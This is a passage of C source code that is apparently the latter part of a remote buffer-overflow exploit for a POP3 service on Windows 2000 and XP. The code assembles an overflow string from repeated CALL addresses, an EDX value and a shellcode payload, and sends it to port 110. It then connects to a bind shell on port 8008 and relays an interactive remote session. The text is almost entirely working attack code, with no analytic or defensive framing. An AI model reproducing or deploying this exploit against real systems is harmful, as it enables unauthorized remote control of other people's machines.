printf("types: 0 - Windows 2000 Professional/Server\n");
printf(" 1 - Windows XP Professional\n\n");
exit(-1);
}
while ((opt = getopt(argc, argv, "t:"))){
switch(opt){
case 't':
if(optarg[0] == '0'){
strcpy(shell, header);
for(i = 1;i < 247;i++){
strcat(shell, CALL2k);
}
strcat(shell, EDX2k);
strcat(shell, payload);
break;
}
if(optarg[0] == '1'){
strcpy(shell, header);
for(i = 1; i < 247;i++){
strcat(shell, CALLxp);
}
strcat(shell, EDXxp);
strcat(shell, payload);
break;
}
printf("invalid type\n\n");
printf("types: 0 - Windows 2000 Professional SP2 + hot fixes 6/8/2002\n");
printf(" 1 - Windows XP Professional SP1 + hot fixes 6/8/2002\n\n");
exit(-1);
}
break;
}
if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
else
if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
sin.sin_port = htons(110);
printf("connecting to tcp port 110 (POP3)...\n");
if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}
printf("connected.\n\n");
sleep(1);
printf("dumping payload...");
if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}
printf("done\n");
printf("code dumped.\n\n");
close(fd);
if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(8008);
printf("connecting to tcp port 8008... (wait 3s)\n");
sleep(3);
if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust EDX/CALL?\n\n");exit(-1);}
printf("success! izn0wnz3rat3d!\n\n");
while(1) {
fd_set input;
FD_SET(0,&input);
FD_SET(fd,&input);
if((select(fd+1,&input,NULL,NULL,NULL))<0) {
if(errno==EINTR) continue;
printf("connection reset\n"); fflush(stdout);
exit(1);
}
if(FD_ISSET(fd,&input))
write(1,buffer,read(fd,buffer,bufsize));
if(FD_ISSET(0,&input))
write(fd,buffer,read(0,buffer,bufsize));
}
close(fd);
}
--0-1291061773-1027415184=:94223--
